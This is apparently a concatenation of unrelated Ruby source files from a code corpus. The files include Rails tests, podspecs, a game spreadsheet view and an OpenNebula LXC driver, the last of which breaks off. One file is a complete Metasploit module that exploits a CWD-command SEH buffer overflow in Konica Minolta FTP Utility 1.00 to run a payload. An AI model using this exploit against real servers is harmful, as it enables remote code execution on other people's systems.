expect(note1).not_to be_nil
expect(note2).not_to be_nil
end
end
end
context 'while saving references to issues that the updated merge request closes' do
let(:first_issue) { create(:issue, project: project) }
let(:second_issue) { create(:issue, project: project) }
it 'creates a `MergeRequestsClosingIssues` record for each issue' do
issue_closing_opts = { description: "Closes #{first_issue.to_reference} and #{second_issue.to_reference}" }
service = described_class.new(project, user, issue_closing_opts)
allow(service).to receive(:execute_hooks)
service.execute(merge_request)
issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
expect(issue_ids).to match_array([first_issue.id, second_issue.id])
end
it 'removes `MergeRequestsClosingIssues` records when issues are not closed anymore' do
opts = {
title: 'Awesome merge_request',
description: "Closes #{first_issue.to_reference} and #{second_issue.to_reference}",
source_branch: 'feature',
target_branch: 'master',
force_remove_source_branch: '1'
}
merge_request = MergeRequests::CreateService.new(project, user, opts).execute
issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
expect(issue_ids).to match_array([first_issue.id, second_issue.id])
service = described_class.new(project, user, description: "not closing any issues")
allow(service).to receive(:execute_hooks)
service.execute(merge_request.reload)
issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
expect(issue_ids).to be_empty
end
end
end
end
| 33.036066 | 122 | 0.625744 |
01668e8f7683a2a1113f16781ab987c30242b5d1 | 1,550 | #
# Be sure to run `pod lib lint XBAuthentication.podspec' to ensure this is a
# valid spec and remove all comments before submitting the spec.
#
# Any lines starting with a # are optional, but encouraged
#
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = "XBAuthentication"
s.version = "0.1.0.2"
s.summary = "Authentication class to integrate with Plus Authenticate"
s.description = <<-DESC
Authentication class to integrate with Plus Authenticate. Plus Authenticate will be provided in Jan 15 2015.
DESC
s.homepage = "https://github.com/EugeneNguyen/XBAuthentication"
# s.screenshots = "www.example.com/screenshots_1", "www.example.com/screenshots_2"
s.license = 'MIT'
s.author = { "eugenenguyen" => "[email protected]" }
s.source = { :git => "https://github.com/EugeneNguyen/XBAuthentication.git", :tag => s.version.to_s }
s.social_media_url = 'https://twitter.com/LIBRETeamStudio'
s.platform = :ios, '7.0'
s.requires_arc = true
s.source_files = 'Pod/Classes'
s.resource_bundles = {
'XBAuthentication' => ['Pod/Assets/*.png']
}
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
s.dependency 'ASIHTTPRequest'
s.dependency 'JSONKit-NoWarning'
s.dependency 'MD5Digest'
s.dependency 'SDWebImage'
s.dependency 'Facebook-iOS-SDK', '~> 3.21'
s.dependency 'XBLanguage'
end
| 37.804878 | 131 | 0.654194 |
28b4ad6da49141c2e10a62d0b2b65e826116306c | 229 | class CreateKeywords < ActiveRecord::Migration
def change
create_table :keywords do |t|
t.references :keyword_set, index: true, foreign_key: true
t.string :name
t.timestamps null: false
end
end
end
| 20.818182 | 63 | 0.689956 |
18b50f8af3ffdf074562045c4b0fbae6c0ce6f1e | 554 | class Accounts::UnlocksController < Devise::UnlocksController
# GET /resource/unlock/new
# def new
# super
# end
# POST /resource/unlock
# def create
# super
# end
# GET /resource/unlock?unlock_token=abcdef
# def show
# super
# end
# protected
# The path used after sending unlock password instructions
# def after_sending_unlock_instructions_path_for(resource)
# super(resource)
# end
# The path used after unlocking the resource
# def after_unlock_path_for(resource)
# super(resource)
# end
end
| 19.103448 | 61 | 0.696751 |
bf75081bac1c379fcefbf5aeb41423be3fbae5dd | 2,157 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
'Description' => %q{
This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
leads to an SEH overflow. Konica FTP allows anonymous access by default; valid
credentials are typically unnecessary to exploit this vulnerability.
},
'Author' =>
[
'Shankar Damodaran', # stack buffer overflow dos p.o.c
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EBD', '37908' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1500,
'BadChars' => "\x00\x0a\x2f\x5c",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 SP1 x86',
{
'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
'Offset' => 1037
}
]
],
'DisclosureDate' => 'Aug 23 2015',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
connect_login
buf = rand_text(target['Offset'])
buf << generate_seh_record(target.ret)
buf << payload.encoded
buf << rand_text(3000)
print_status("Sending exploit buffer...")
send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
handler
disconnect
end
end
| 26.62963 | 107 | 0.585999 |
bb07070d25c6721fb4a0839905801828b8708b54 | 16,615 | # frozen_string_literal: true
require 'lib/color'
require 'lib/settings'
require 'lib/storage'
require 'view/link'
require 'view/game/bank'
require 'view/game/stock_market'
require 'view/game/actionable'
module View
module Game
class Spreadsheet < Snabberb::Component
include Lib::Color
include Lib::Settings
include Actionable
needs :game
def render
@spreadsheet_sort_by = Lib::Storage['spreadsheet_sort_by']
@spreadsheet_sort_order = Lib::Storage['spreadsheet_sort_order']
@delta_value = Lib::Storage['delta_value']
children = []
top_line_props = {
style: {
display: 'grid',
grid: 'auto / repeat(auto-fill, minmax(20rem, 1fr))',
gap: '3rem 1.2rem',
},
}
top_line = h(:div, top_line_props, [
h(Bank, game: @game),
h(GameInfo, game: @game, layout: 'upcoming_trains'),
].compact)
children << top_line
children << render_table
children << render_spreadsheet_controls
h('div#spreadsheet', {
style: {
overflow: 'auto',
},
}, children.compact)
end
def render_table
h(:table, {
style: {
margin: '1rem 0 0.5rem 0',
borderCollapse: 'collapse',
textAlign: 'center',
whiteSpace: 'nowrap',
},
}, [
h(:thead, render_title),
h(:tbody, render_corporations),
h(:thead, [
h(:tr, { style: { height: '1rem' } }, [
h(:td, { attrs: { colspan: @game.players.size + 8 } }, ''),
h(:td, { attrs: { colspan: 2 } }, @game.respond_to?(:token_note) ? @game.token_note : ''),
h(:td, { attrs: { colspan: 1 + @extra_size } }, ''),
h(:td, { attrs: { colspan: @halfpaid ? 6 : 3 } }, "[withheld]#{' ¦half-paid¦' if @halfpaid}"),
]),
]),
h(:tbody, [
render_player_cash,
render_player_value,
render_player_liquidity,
render_player_shares,
render_player_companies,
render_player_certs,
]),
h(:thead, [
h(:tr, { style: { height: '1rem' } }, ''),
]),
*render_player_history,
])
# TODO: consider adding OR information (could do both corporation OR revenue and player change in value)
# TODO: consider adding train availability
end
def or_history(corporations)
corporations.flat_map { |c| c.operating_history.keys }.uniq.sort
end
def render_history_titles(corporations)
or_history(corporations).map do |turn, round|
h(:th, render_sort_link(@game.or_description_short(turn, round), [turn, round]))
end
end
def render_player_history
# OR history should exist in all
zebra_row = true
last_values = nil
@game.players.first.history.map do |h|
values = @game.players.map do |p|
p.history.find { |h2| h2.round == h.round }.value
end
next if values == last_values
delta_v = (last_values || Array.new(values.size, 0)).map(&:-@).zip(values).map(&:sum) if @delta_value
last_values = values
zebra_row = !zebra_row
row_content = values.map.with_index do |v, i|
disp_value = @delta_value ? delta_v[i] : v
h('td.padded_number',
disp_value.negative? ? { style: { color: 'red' } } : {},
@game.format_currency(disp_value))
end
h(:tr, zebra_props(zebra_row), [
h('th.left', h.round),
*row_content,
])
end.compact.reverse
end
def render_history(corporation)
hist = corporation.operating_history
if hist.empty?
# This is a company that hasn't floated yet
[]
else
or_history(@game.all_corporations).map do |x|
render_or_history_row(hist, corporation, x)
end
end
end
def render_or_history_row(hist, corporation, x)
if hist[x]
revenue_text, opacity =
case (hist[x].dividend.is_a?(Engine::Action::Dividend) ? hist[x].dividend.kind : 'withhold')
when 'withhold'
["[#{hist[x].revenue.abs}]", '0.5']
when 'half'
["¦#{hist[x].revenue.abs}¦", '0.75']
else
[hist[x].revenue.abs.to_s, '1.0']
end
props = {
style: {
opacity: opacity,
padding: '0 0.15rem',
},
}
if hist[x]&.dividend&.id&.positive?
link_h = history_link(revenue_text,
"Go to run #{x} of #{corporation.name}",
hist[x].dividend.id - 1,
{ textDecoration: 'none' })
h(:td, props, [link_h])
else
h(:td, props, revenue_text)
end
else
h(:td, '')
end
end
def render_title
th_props = lambda do |cols, alt_bg = false, border_right = true|
props = zebra_props(alt_bg)
props[:attrs] = { colspan: cols }
props[:style][:padding] = '0.3rem'
props[:style][:borderRight] = "1px solid #{color_for(:font2)}" if border_right
props[:style][:fontSize] = '1.1rem'
props[:style][:letterSpacing] = '1px'
props
end
or_history_titles = render_history_titles(@game.all_corporations)
pd_props = {
style: {
background: 'salmon',
color: 'black',
},
}
extra = []
extra << h(:th, render_sort_link('Loans', :loans)) if @game.total_loans&.nonzero?
extra << h(:th, render_sort_link('Shorts', :shorts)) if @game.respond_to?(:available_shorts)
if @game.total_loans.positive?
extra << h(:th, render_sort_link('Buying Power', :buying_power))
extra << h(:th, render_sort_link('Interest Due', :interest))
end
@extra_size = extra.size
[
h(:tr, [
h(:th, ''),
h(:th, th_props[@game.players.size], 'Players'),
h(:th, th_props[2, true], 'Bank'),
h(:th, th_props[2], 'Prices'),
h(:th, th_props[5 + extra.size, true, false], 'Corporation'),
h(:th, ''),
h(:th, th_props[or_history_titles.size, false, false], 'OR History'),
]),
h(:tr, [
h(:th, { style: { paddingBottom: '0.3rem' } }, render_sort_link('SYM', :id)),
*@game.players.map do |p|
h('th.name.nowrap.right', p == @game.priority_deal_player ? pd_props : '', render_sort_link(p.name, p.id))
end,
h(:th, render_sort_link(@game.ipo_name, :ipo_shares)),
h(:th, render_sort_link('Market', :market_shares)),
h(:th, render_sort_link(@game.ipo_name, :par_price)),
h(:th, render_sort_link('Market', :share_price)),
h(:th, render_sort_link('Cash', :cash)),
h(:th, render_sort_link('Order', :order)),
h(:th, render_sort_link('Trains', :trains)),
h(:th, render_sort_link('Tokens', :tokens)),
*extra,
h(:th, render_sort_link('Companies', :companies)),
h(:th, ''),
*or_history_titles,
]),
]
end
def render_sort_link(text, sort_by)
[
h(
Link,
href: '',
title: 'Sort',
click: lambda {
mark_sort_column(sort_by)
toggle_sort_order
},
children: text,
),
h(:span, @spreadsheet_sort_by == sort_by ? sort_order_icon : ''),
]
end
def sort_order_icon
return '↓' if @spreadsheet_sort_order == 'ASC'
'↑'
end
def mark_sort_column(sort_by)
Lib::Storage['spreadsheet_sort_by'] = sort_by
update
end
def toggle_sort_order
Lib::Storage['spreadsheet_sort_order'] = @spreadsheet_sort_order == 'ASC' ? 'DESC' : 'ASC'
update
end
def toggle_delta_value
Lib::Storage['delta_value'] = !@delta_value
update
end
def render_spreadsheet_controls
h(:button, {
style: { minWidth: '9.5rem' },
on: { click: -> { toggle_delta_value } },
},
"Show #{@delta_value ? 'Total' : 'Delta'} Values")
end
def render_corporations
current_round = @game.turn_round_num
sorted_corporations.map.with_index do |corp_array, index|
render_corporation(corp_array[1], corp_array[0], current_round, index)
end
end
def sorted_corporations
operating_corporations =
if @game.round.operating?
@game.round.entities
else
@game.operating_order
end
result = @game.all_corporations.map do |c|
operating_order = (operating_corporations.find_index(c) || -1) + 1
[operating_order, c]
end
result.sort_by! do |operating_order, corporation|
if @spreadsheet_sort_by.is_a?(Array)
corporation.operating_history[@spreadsheet_sort_by]&.revenue || -1
else
case @spreadsheet_sort_by
when :id
corporation.id
when :ipo_shares
num_shares_of(corporation, corporation)
when :market_shares
num_shares_of(@game.share_pool, corporation)
when :share_price
[corporation.share_price&.price || 0, -operating_order]
when :par_price
corporation.par_price&.price || 0
when :cash
corporation.cash
when :order
operating_order
when :trains
corporation.floated? ? corporation.trains.size : -1
when :tokens
@game.count_available_tokens(corporation)
when :loans
corporation.loans.size
when :shorts
@game.available_shorts(corporation) if @game.respond_to?(:available_shorts)
when :buying_power
@game.buying_power(corporation, full: true)
when :interest
@game.interest_owed(corporation) if @game.total_loans.positive?
when :companies
corporation.companies.size
else
@game.player_by_id(@spreadsheet_sort_by)&.num_shares_of(corporation)
end
end
end
result.reverse! if @spreadsheet_sort_order == 'DESC'
result
end
def render_corporation(corporation, operating_order, current_round, index)
border_style = "1px solid #{color_for(:font2)}"
name_props =
{
style: {
background: corporation.color,
color: corporation.text_color,
},
}
tr_props = zebra_props(index.odd?)
market_props = { style: { borderRight: border_style } }
if !corporation.floated?
tr_props[:style][:opacity] = '0.6'
elsif corporation.share_price&.highlight? &&
(color = StockMarket::COLOR_MAP[@game.class::STOCKMARKET_COLORS[corporation.share_price.type]])
market_props[:style][:backgroundColor] = color
market_props[:style][:color] = contrast_on(color)
end
order_props = { style: { paddingLeft: '1.2em' } }
operating_order_text = "#{operating_order}#{corporation.operating_history.keys[-1] == current_round ? '*' : ''}"
extra = []
extra << h(:td, "#{corporation.loans.size}/#{@game.maximum_loans(corporation)}") if @game.total_loans&.nonzero?
if @game.respond_to?(:available_shorts)
taken, total = @game.available_shorts(corporation)
extra << h(:td, "#{taken} / #{total}")
end
if @game.total_loans.positive?
extra << h(:td, @game.format_currency(@game.buying_power(corporation, full: true)))
interest_props = { style: {} }
unless @game.can_pay_interest?(corporation)
color = StockMarket::COLOR_MAP[:yellow]
interest_props[:style][:backgroundColor] = color
interest_props[:style][:color] = contrast_on(color)
end
extra << h(:td, interest_props, @game.format_currency(@game.interest_owed(corporation)).to_s)
end
h(:tr, tr_props, [
h(:th, name_props, corporation.name),
*@game.players.map do |p|
sold_props = { style: {} }
if @game.round.active_step&.did_sell?(corporation, p)
sold_props[:style][:backgroundColor] = '#9e0000'
sold_props[:style][:color] = 'white'
end
share_holding = corporation.president?(p) ? '*' : ''
share_holding += num_shares_of(p, corporation).to_s unless corporation.minor?
h('td.padded_number', sold_props, share_holding)
end,
h('td.padded_number', { style: { borderLeft: border_style } }, num_shares_of(corporation, corporation).to_s),
h('td.padded_number', { style: { borderRight: border_style } },
"#{corporation.receivership? ? '*' : ''}#{num_shares_of(@game.share_pool, corporation)}"),
h('td.padded_number', corporation.par_price ? @game.format_currency(corporation.par_price.price) : ''),
h('td.padded_number', market_props,
corporation.share_price ? @game.format_currency(corporation.share_price.price) : ''),
h('td.padded_number', @game.format_currency(corporation.cash)),
h('td.left', order_props, operating_order_text),
h(:td, corporation.trains.map(&:name).join(', ')),
h(:td, @game.token_string(corporation)),
*extra,
render_companies(corporation),
h(:th, name_props, corporation.name),
*render_history(corporation),
])
end
def render_companies(entity)
h('td.padded_number', entity.companies.map(&:sym).join(', '))
end
def render_player_companies
h(:tr, zebra_props, [
h('th.left', 'Companies'),
*@game.players.map { |p| render_companies(p) },
])
end
def render_player_cash
h(:tr, zebra_props, [
h('th.left', 'Cash'),
*@game.players.map { |p| h('td.padded_number', @game.format_currency(p.cash)) },
])
end
def render_player_value
h(:tr, zebra_props(true), [
h('th.left', 'Value'),
*@game.players.map { |p| h('td.padded_number', @game.format_currency(@game.player_value(p))) },
])
end
def render_player_liquidity
h(:tr, zebra_props, [
h('th.left', 'Liquidity'),
*@game.players.map { |p| h('td.padded_number', @game.format_currency(@game.liquidity(p))) },
])
end
def render_player_shares
h(:tr, zebra_props(true), [
h('th.left', 'Shares'),
*@game.players.map do |p|
h('td.padded_number', @game.all_corporations.sum { |c| c.minor? ? 0 : num_shares_of(p, c) })
end,
])
end
def render_player_certs
cert_limit = @game.cert_limit
props = { style: { color: 'red' } }
h(:tr, zebra_props(true), [
h('th.left', 'Certs' + (@game.show_game_cert_limit? ? "/#{cert_limit}" : '')),
*@game.players.map { |player| render_player_cert_count(player, cert_limit, props) },
])
end
def render_player_cert_count(player, cert_limit, props)
num_certs = @game.num_certs(player)
h('td.padded_number', num_certs > cert_limit ? props : '', num_certs)
end
def zebra_props(alt_bg = false)
factor = Native(`window.matchMedia('(prefers-color-scheme: dark)').matches`) ? 0.9 : 0.5
{
style: {
backgroundColor: alt_bg ? convert_hex_to_rgba(color_for(:bg2), factor) : color_for(:bg2),
color: color_for(:font2),
},
}
end
private
def num_shares_of(entity, corporation)
return corporation.president?(entity) ? 1 : 0 if corporation.minor?
entity.num_shares_of(corporation, ceil: false)
end
end
end
end
| 34.54262 | 120 | 0.544267 |
611b3a1526ad3cdf4694e9b7aca423b4395c2ec1 | 190 | class Permission < ActiveRecord::Base
has_and_belongs_to_many :roles,dependent: :destroy
has_and_belongs_to_many :functionalities,dependent: :destroy
validates_uniqueness_of :name
end
| 23.75 | 61 | 0.836842 |
4a86476e09746b2edd64eced47534538cadc3c62 | 1,464 | #
# Be sure to run `pod lib lint podTest.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'podTest'
s.version = '0.1.0'
s.summary = 'A Test Demo'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
A Test Demo to test demo
DESC
s.homepage = 'https://github.com/nancyPandya/podTest'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'nancyPandya' => '[email protected]' }
s.source = { :git => 'https://github.com/nancyPandya/podTest.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'podTest/Classes/**/*'
# s.resource_bundles = {
# 'podTest' => ['podTest/Assets/*.png']
# }
end
| 35.707317 | 103 | 0.635929 |
187eb8f19fa26bd4b687c91d5611587a193c0cc9 | 247 | require 'verdict/storage/base_storage'
require 'verdict/storage/cookie_storage'
require 'verdict/storage/mock_storage'
require 'verdict/storage/memory_storage'
require 'verdict/storage/redis_storage'
require 'verdict/storage/legacy_redis_storage'
| 35.285714 | 46 | 0.854251 |
4a602f3a426f952a2b32d62e5162a6e9b4a37205 | 284 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure end
module Azure::Network end
module Azure::Network::Mgmt end
module Azure::Network::Mgmt::V2016_09_01 end
| 28.4 | 70 | 0.778169 |
6178254e288352919a36144a189074ce76f1f17c | 1,409 | # frozen_string_literal: true
require 'aws_backend'
class AwsCloudwatchAnomalyDetector < AwsResourceBase
name 'aws_cloudwatch_anomaly_detector'
desc 'Lists the anomaly detection models that you have created in your account.'
example "
describe aws_cloudwatch_anomaly_detector(metric_name: 'METRIC_NAME') do
it { should exist }
end
"
def initialize(opts = {})
opts = { metric_name: opts } if opts.is_a?(String)
super(opts)
validate_parameters(required: %i(metric_name))
raise ArgumentError, "#{@__resource_name__}: metric_name must be provided" unless opts[:metric_name] && !opts[:metric_name].empty?
@display_name = opts[:metric_name]
catch_aws_errors do
resp = @aws.cloudwatch_client.describe_anomaly_detectors({ metric_name: opts[:metric_name] })
@res = resp.anomaly_detectors[0].to_h
create_resource_methods(@res)
end
end
def metric_name
return nil unless exists?
@res[:metric_name]
end
def exists?
[email protected]? && [email protected]?
end
def to_s
"Metric Name: #{@display_name}"
end
def dimensions_names
dimensions.map(&:name)
end
def dimensions_values
dimensions.map(&:value)
end
def configuration_start_time
(configuration.map(&:excluded_time_ranges)).map(&:start_time)
end
def configuration_end_time
(configuration.map(&:excluded_time_ranges)).map(&:end_time)
end
end
| 24.719298 | 134 | 0.714691 |
ac4cf27b6ed57ecd33e105bfb7d6a358f20baa69 | 6,621 | require 'unit/whitehall/authority/authority_test_helper'
require 'ostruct'
class WorldEditorWorldwidePriorityTest < ActiveSupport::TestCase
def world_editor(world_locations, id = 1)
OpenStruct.new(id: id, gds_editor?: false,
departmental_editor?: false, world_editor?: true,
organisation: nil, world_locations: world_locations || [])
end
include AuthorityTestHelper
test 'can create a new edition' do
assert enforcer_for(world_editor(['hat land']), WorldwidePriority).can?(:create)
end
test 'can see a worldwide priority that is not access limited if it is about their location' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:see)
end
test 'can see a worldwide priority about their location that is access limited if it is limited to their organisation' do
org = 'organisation'
user = world_editor(['hat land', 'tie land'])
user.stubs(:organisation).returns(org)
edition = with_locations(limited_worldwide_priority([org]), ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:see)
end
test 'cannot see a worldwide priority about their locaiton that is access limited if it is limited an organisation they don\'t belong to' do
org1 = 'organisation_1'
org2 = 'organisation_2'
user = world_editor(['hat land', 'tie land'])
user.stubs(:organisation).returns(org1)
edition = with_locations(limited_worldwide_priority([org2]), ['shirt land', 'hat land'])
refute enforcer_for(user, edition).can?(:see)
end
test 'cannot see a worldwide priority that is not about their location' do
user = world_editor(['tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land'])
refute enforcer_for(user, edition).can?(:see)
end
test 'cannot do anything to a worldwide priority they are not allowed to see' do
user = world_editor(['tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land'])
enforcer = enforcer_for(user, edition)
Whitehall::Authority::Rules::EditionRules.actions.each do |action|
refute enforcer.can?(action)
end
end
test 'can create a new edition of a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:create)
end
test 'can make changes to a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:update)
end
test 'can delete a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:delete)
end
test 'can make a fact check request for a edition that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:make_fact_check)
end
test 'can view fact check requests on a edition that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:review_fact_check)
end
test 'can publish a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:publish)
end
test 'can reject a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:reject)
end
test 'can force publish a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:force_publish)
end
test 'can make editorial remarks that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:make_editorial_remark)
end
test 'can review editorial remarks that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:review_editorial_remark)
end
test 'can clear the "not reviewed" flag on editions about their location and not access limited that they didn\'t force publish' do
user = world_editor(['hat land', 'tie land'], 10)
edition = with_locations(force_published_worldwide_priority(world_editor(['shirt land'], 100)), ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:approve)
end
test 'cannot clear the "not reviewed" flag on editions about their location and not access limited that they did force publish' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(force_published_worldwide_priority(user), ['shirt land', 'hat land'])
refute enforcer_for(user, edition).can?(:approve)
end
test 'can limit access to a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
assert enforcer_for(user, edition).can?(:limit_access)
end
test 'cannot unpublish a worldwide priority that is about their location and not access limited' do
user = world_editor(['hat land', 'tie land'])
edition = with_locations(normal_worldwide_priority, ['shirt land', 'hat land'])
refute enforcer_for(user, edition).can?(:unpublish)
end
end
| 42.716129 | 142 | 0.721945 |
e8d5011e1898e67f22adad75e3998699391f4981 | 1,684 | require 'test_helper'
class UsersSignupTest < ActionDispatch::IntegrationTest
def setup
ActionMailer::Base.deliveries.clear
end
test 'invalid signup information' do
get signup_path
assert_no_difference 'User.count' do
post users_path, params: { user: { name: '',
email: 'user@invalid',
password: 'foo',
password_confirmation: 'bar' } }
end
assert_template 'users/new'
assert_select 'div#error_explanation'
assert_select 'div.field_with_errors'
end
test 'valid signup information with account activation' do
get signup_path
assert_difference 'User.count', 1 do
post users_path, params: { user: { name: 'Example User',
email: '[email protected]',
password: 'password',
password_confirmation: 'password' } }
end
assert_equal 1, ActionMailer::Base.deliveries.size
user = assigns(:user)
assert_not user.activated?
# 有効化していない状態でログインしてみる
log_in_as(user)
assert_not is_logged_in?
# 有効化トークンが不正な場合
get edit_account_activation_path('invalid token', email: user.email)
assert_not is_logged_in?
# トークンは正しいがメールアドレスが無効な場合
get edit_account_activation_path(user.activation_token, email: 'wrong')
assert_not is_logged_in?
# 有効化トークンが正しい場合
get edit_account_activation_path(user.activation_token, email: user.email)
assert user.reload.activated?
follow_redirect!
assert_template 'users/show'
assert is_logged_in?
end
end
| 34.367347 | 78 | 0.625891 |
018852aca7598ff53b6cc884dcf2dc5565c2b9b2 | 1,147 | require 'oauth/signature/base'
require 'openssl'
module OAuth::Signature::RSA
class SHA1 < OAuth::Signature::Base
implements 'rsa-sha1'
hash_class ::Digest::SHA1
def ==(cmp_signature)
public_key.verify(OpenSSL::Digest::SHA1.new, Base64.decode64(cmp_signature.is_a?(Array) ? cmp_signature.first : cmp_signature), signature_base_string)
end
def public_key
if consumer_secret.is_a?(String)
decode_public_key
elsif consumer_secret.is_a?(OpenSSL::X509::Certificate)
consumer_secret.public_key
else
consumer_secret
end
end
private
def decode_public_key
case consumer_secret
when /-----BEGIN CERTIFICATE-----/
OpenSSL::X509::Certificate.new( consumer_secret).public_key
else
OpenSSL::PKey::RSA.new( consumer_secret)
end
end
def digest
private_key = OpenSSL::PKey::RSA.new(
if options[:private_key_file]
IO.read(options[:private_key_file])
else
consumer_secret
end
)
private_key.sign(OpenSSL::Digest::SHA1.new, signature_base_string)
end
end
end
| 24.404255 | 156 | 0.660854 |
f8990f523962c487a92ef690495995a1965bc17e | 10,066 | #!/usr/bin/ruby
# -------------------------------------------------------------------------- #
# Copyright 2002-2021, OpenNebula Project, OpenNebula Systems #
# #
# Licensed under the Apache License, Version 2.0 (the "License"); you may #
# not use this file except in compliance with the License. You may obtain #
# a copy of the License at #
# #
# http://www.apache.org/licenses/LICENSE-2.0 #
# #
# Unless required by applicable law or agreed to in writing, software #
# distributed under the License is distributed on an "AS IS" BASIS, #
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #
# See the License for the specific language governing permissions and #
# limitations under the License. #
#--------------------------------------------------------------------------- #
$LOAD_PATH.unshift File.dirname(__FILE__)
require 'yaml'
# Storage mappers
require 'storageutils'
require 'qcow2'
require 'raw'
require 'rbd'
require_relative '../lib/xmlparser'
require_relative '../lib/opennebula_vm'
require_relative '../../scripts_common'
# -----------------------------------------------------------------------------
# This class reads and holds configuration attributes for the LXC driver
# -----------------------------------------------------------------------------
class LXCConfiguration < Hash
DEFAULT_CONFIGURATION = {
:vnc => {
:width => '800',
:height => '600',
:timeout => '300',
:command => 'sudo lxc-console'
},
:datastore_location => '/var/lib/one/datastores',
:default_lxc_config => '/usr/share/lxc/config/common.conf',
:id_map => 600100001, # First id for mapping
:max_map => 65536 # Max id for mapping
}
LXCRC = '../../etc/vmm/lxc/lxcrc'
def initialize
replace(DEFAULT_CONFIGURATION)
begin
merge!(YAML.load_file("#{__dir__}/#{LXCRC}"))
rescue StandardError => e
OpenNebula.log_error e
end
super
end
end
# -----------------------------------------------------------------------------
# This class parses and wraps the information in the Driver action data
# -----------------------------------------------------------------------------
class LXCVM < OpenNebulaVM
CONTAINER_FS_PATH = '/var/lib/lxc-one'
attr_reader :lxcrc, :bind_folder
def initialize(xml)
# Load Driver configuration
@lxcrc = LXCConfiguration.new
super(xml, @lxcrc)
@bind_folder = "#{CONTAINER_FS_PATH}/#{@vm_id}"
end
# Returns a Hash representing the LXC configuration for this OpenNebulaVM
def to_lxc
prefix = 'lxc'
lxc = {}
# Always include default file with uids mapping
lxc["#{prefix}.include"] = [@lxcrc[:default_lxc_config]]
# Add disks
disks.each do |disk|
disk.to_lxc.each do |key, val|
if lxc[key].nil?
lxc[key] = [val]
else
lxc[key] << val
end
end
end
# Add nics
get_nics.each_with_index do |nic, i|
lxc["lxc.net.#{i}.type"] = 'veth'
lxc["lxc.net.#{i}.link"] = nic['BRIDGE']
lxc["lxc.net.#{i}.hwaddr"] = nic['MAC']
lxc["lxc.net.#{i}.veth.pair"] = "one-#{@vm_id}-#{nic['NIC_ID']}"
end
